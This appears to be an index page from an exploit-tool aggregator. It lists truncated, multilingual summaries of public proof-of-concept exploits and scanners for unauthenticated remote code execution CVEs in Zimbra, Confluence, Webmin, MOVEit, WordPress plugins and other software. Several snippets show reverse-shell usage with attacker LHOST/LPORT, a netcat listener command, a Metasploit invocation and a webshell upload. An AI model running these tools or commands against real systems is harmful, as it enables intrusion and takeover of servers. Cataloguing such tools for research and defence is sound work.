CVE-2022-35405

CVE-2022-35405 मेरी ब्लॉग पोस्ट Nuclei टेम्पलेट अन्य लेख ManageEngine PAM360 और Password Manager Pro बिना प्रमाणीकरण वाली रिमोट कोड निष्पादन भेद्यता PoC Access Manager Plus केवल प्रमाणीकरण के साथ :...

gibbonlms-filewrite_rce

Gibbon LMS任意文件写入/远程代码执行 漏洞信息 Gibbon LMS中的任意文件写入导致远程代码执行（CVE-2023-45878） GibbonEdu Gibbon LMS...

cve-2026-15748

root@kitploit: CVE-2026-15748 — Forminator Forms Unauthenticated RCE Crafted by Yora For Educational & Authorized Testing Only --- 📌 Deskripsi CVE-2026-15748 merupakan kerentanan yang berkaitan dengan plugin Forminator pada WordPress. Tool ini dibuat untuk membantu security research dan authorize...

CVE-2022-27925-Revshell

Zimbra Exploit de Ejecución Remota de Código No Autenticado CVE-2022-27925 root@kitploit: / / / / / / / / / / / / / // / / / / / / // / / / // / //// // //.// ,/ CVE-2022-27925 usage: exp.py -h -t TARGET -m MASS -l LHOST -p LPORT options: -h, --help show this help message and exit -t TARGET,...

CVE-2022-26134

CVE-2022-26134 El 30 de mayo de 2022, una organización llamada Volexity identificó una vulnerabilidad de RCE sin autenticación con una puntuación de 9.8 en NIST en las ediciones Confluence Server y Data Center de Atlassian versión vulnerable 7.18.1 Ejecutar root@kitploit: python -m venv venv sour...

Linux Distros Unpatched Vulnerability : CVE-2026-66047

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - ProfilePress wp-user-avatar WordPress plugin before 4.17.2 contains an unauthenticated remote code execution vulnerability that allows unauthenticated attackers...

Webmin_CVE-2019-15107

CVE-2019–15107 - Webmin =1.920 未授权远程代码执行 此 Python 脚本可在 Webmin 1.890 上获取 root shell。 使用 nmap 检测： nmap -sC -sV -p 10000 TARGETIP 结果： 10000/tcp open http MiniServ 1.890 Webmin httpd 如何使用此漏洞： 步骤 1： nc -lnvp LPORT 步骤 2： chmod +x exploit.py root@kitploit: ./exploit RHOST RPORT LHOST LPORT RHOST = 目标主机...

CVE-2024-25600

CVE-2024-25600 Exploit - WordPress Bricks Builder Remote Code Execution RCE An exploit script for CVE-2024-25600 , a critical unauthenticated Remote Code Execution RCE vulnerability in the Bricks Builder plugin for WordPress. This tool detects the flaw, extracts the nonce, and provides an...

CVE-2023-34362

CVE-2023-34362：MOVEit Transfer 未认证远程代码执行 关于该漏洞及利用的完整技术描述，请阅读我们的 AttackerKB 分析文章。 使用方法 root@kitploit: ruby CVE-2023-34362.rb 注意：反序列化 gadget 配置为启动 'notepad.exe'。 示例 root@kitploit: ruby poc-cve-2023-34362.rb 192.168.86.111 + 开始。目标='https://192.168.86.111'。 + 获取初始会话令牌 '3el524tvmjs4iceurhm1r2cq' 和...

CYBERDUDEBIVASH-Cisco-AsyncOS-CVE-2025-20393-Scanner

CYBERDUDEBIVASH Cisco AsyncOS CVE-2025-20393 扫描器 版权所有 © 2026 CYBERDUDEBIVASH ECOSYSTEM – 保留所有权利 经 CYBERDUDEBIVASH 授权 – 针对 CVE-2025-20393（Cisco Secure Email Gateway / SMA 中的未认证远程代码执行漏洞）的伦理检测工具。 该工具通过检查开放的 TCP/6025 端口、响应的垃圾邮件隔离界面以及已知的后期利用威胁指标（IOC），帮助识别 CVE-2025-20393 的暴露风险。 功能特点 TCP/6025 端口暴露检查...

CVE-2024-1212

CVE-2024-1212 - Progress Kemp LoadMaster Inyección de Comandos No Autenticada Este es un script de explotación para CVE-2024-1212 , una vulnerabilidad de inyección de comandos no autenticada en Progress Kemp LoadMaster. Resumen de la Vulnerabilidad CVE-2024-1212 afecta a Progress Kemp LoadMaster ...

CVE-2025-13597

AI Feeds = 1.0.11 - Carga de archivos arbitraria sin autenticación El complemento de WordPress AI Feeds en versiones 1.0.11 e inferiores contiene una vulnerabilidad de ejecución remota de código sin autenticación en el archivo actualizadorgit.php. Este archivo es accesible directamente vía HTTP s...

Rejetto-HFS-2.x-RCE-CVE-2024-23692

Un SSTI sin autenticación en el Rejetto HTTP File Server HFS. PoC del descubridor original: https://mohemiv.com/all/rejetto-http-file-server-2-3m-unauthenticated-rce/ Probado contra las versiones: 2.4.0 RC7, 2.3m Ejemplo de uso: root@kitploit: msf6 use exploit/windows/http/rejettohfsrcecve2024236...

CVE-2024-11635

WordPress File Upload Este README documenta una vulnerabilidad divulgada únicamente con fines educativos y defensivos.No ejecutes pruebas contra sistemas de producción o sistemas que no poseas o para los que no tengas permiso explícito de prueba. Descubierto por: abrahack Estado: Divulgación...

CVE-2025-13595

CIBELES AI = 1.10.8 - 未经认证的任意文件上传 Cibeles AI WordPress 插件 1.10.8 及以下版本在 actualizadorgit.php 文件中存在一个未经认证的远程代码执行漏洞。该文件可直接通过 HTTP 访问，无需任何身份验证或授权检查，允许未经认证的攻击者下载任意 GitHub 仓库并覆盖插件文件，从而导致远程代码执行。 TL;DR 利用方法 提供了 CVE-2025-13595.py 来演示远程攻击者上传 shell.php 并执行远程代码： root@kitploit: python3 CVE-2025-13595.py -t...

CVE-2026-73701

An unauthenticated remote code execution vulnerability exists in the underlying operating system of HPE Networking Fabric Composer and could be exploited if certain preconditions outside of the attacker's control are met. Successful exploitation of this vulnerability could allow an unauthenticate...

CVE-2025-55182

CVE-2025-55182 Prueba de concepto para CVE-2025-55182, una RCE crítica no autenticada en React Server Components. ⚠️ Descargo de responsabilidad Este documento se proporciona estrictamente con fines educativos, defensivos y de investigación de seguridad autorizada. NO intente explotar sistemas o...

CVE-2017-7269

CVE-2017-7269 - Desbordamiento de Búfer en IIS 6.0 WebDAV Una implementación en Rust del POC para CVE-2017-7269, dirigida al servicio WebDAV de los Servicios de Información de Internet IIS 6.0 de Microsoft. Resumen de la Vulnerabilidad CVE-2017-7269 es una vulnerabilidad crítica de desbordamiento...

CVE-2026-73701 Unauthenticated Remote Code Execution in HPE Networking Fabric Composer

An unauthenticated remote code execution vulnerability exists in the underlying operating system of HPE Networking Fabric Composer and could be exploited if certain preconditions outside of the attacker's control are met. Successful exploitation of this vulnerability could allow an unauthenticate...

WordPress_Backup_Migration-RCE_Unauthenticated

CVE-2023-6553 — El plugin Backup Migration para WordPress - Shell reversa Una versión extendida del exploit CVE-2023-6553 de Chocapikk que añade un modo de shell reversa con un solo comando sobre la webshell interactiva original. Vulnerabilidad CVE-2023-6553 — Ejecución remota de código no...